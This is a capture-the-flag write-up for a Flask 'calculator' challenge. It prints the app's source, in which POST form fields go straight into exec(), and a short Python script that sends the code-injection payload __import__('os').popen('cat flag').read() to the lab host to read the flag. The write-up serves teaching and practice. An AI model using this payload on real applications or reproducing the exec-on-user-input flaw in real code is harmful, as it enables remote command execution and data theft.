Write-up author: jon-brandy
aw man, aw geez, my grandpa rick is passed out from all the drinking again, where is a calculator when you need one, aw geez
- NONE
- First open the host given.
RESULT
- Let's try to add
?='
at the url.
RESULT
- The number changed, hmm.. try to refresh the page now.
RESULT
- The number changed again. Let's analyze the source code then.
- Got a hint here, there should be a directory named
debug
.
- Try to traverse there.
RESULT
from flask import Flask, Response, request, render_template, request
from random import choice, randint
from string import lowercase
from functools import wraps
app = Flask(__name__)
def calc(recipe):
global garage
garage = {}
try: exec(recipe, garage)
except: pass
def GCR(func): # Great Calculator of the observable universe and it's infinite timelines
@wraps(func)
def federation(*args, **kwargs):
ingredient = ''.join(choice(lowercase) for _ in range(10))
recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))
if request.method == 'POST':
ingredient = request.form.get('ingredient', '')
recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))
calc(recipe)
if garage.get(ingredient, ''):
return render_template('index.html', calculations=garage[ingredient])
return func(*args, **kwargs)
return federation
@app.route('/', methods=['GET', 'POST'])
@GCR
def index():
return render_template('index.html')
@app.route('/debug')
def debug():
return Response(open(__file__).read(), mimetype='text/plain')
if __name__ == '__main__':
app.run('0.0.0.0', port=1337)
- Notice there's a
calc()
function which can be our attack vector, also there'sexec()
function which executes python script injected at the recipe variable. - Based from the script, when we perform a
POST
request, we are accessing this part of code.
if request.method == 'POST':
ingredient = request.form.get('ingredient', '')
recipe = '%s = %s' % (ingredient, request.form.get('measurements', ''))
- Based on this part of code, we know that the webapp extracts value from ingredient variable and measurements variable from request body. Means we can utilize that to send maliciou recipe.
- So let's make a script to send our request.
THE SCRIPT
import requests
import os
os.system('clear')
recipe = {'ingredient': 'flag', 'measurements': '__import__("os").popen("cat flag").read()'}
host = 'http://138.68.185.149:31457'
result = requests.post(host, data=recipe)
print(result.content)
NOTES
ingredient = request.form.get('ingredient', '')
ingredient = ''.join(choice(lowercase) for _ in range(10))
recipe = '%s = %s' % (ingredient, ''.join(map(str, [randint(1, 69), choice(['+', '-', '*']), randint(1,69)])))
RECIPE RESULT
'flag = __import__("os").popen("cat flag").read()
- Run the script.
RESULT
- Got the flag!
HTB{n3v3r_trust1ng_us3r_1nput_ag41n_1n_my_l1f3}